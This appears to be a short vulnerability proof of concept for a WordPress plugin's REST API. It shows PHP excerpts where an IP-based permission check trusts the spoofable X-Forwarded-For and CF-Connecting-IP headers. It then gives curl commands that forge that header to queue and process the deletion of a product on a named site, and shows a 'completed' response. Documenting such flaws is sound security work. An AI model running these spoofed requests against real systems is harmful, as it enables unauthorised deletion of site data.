34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'

curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"

{
  "status": "completed"
}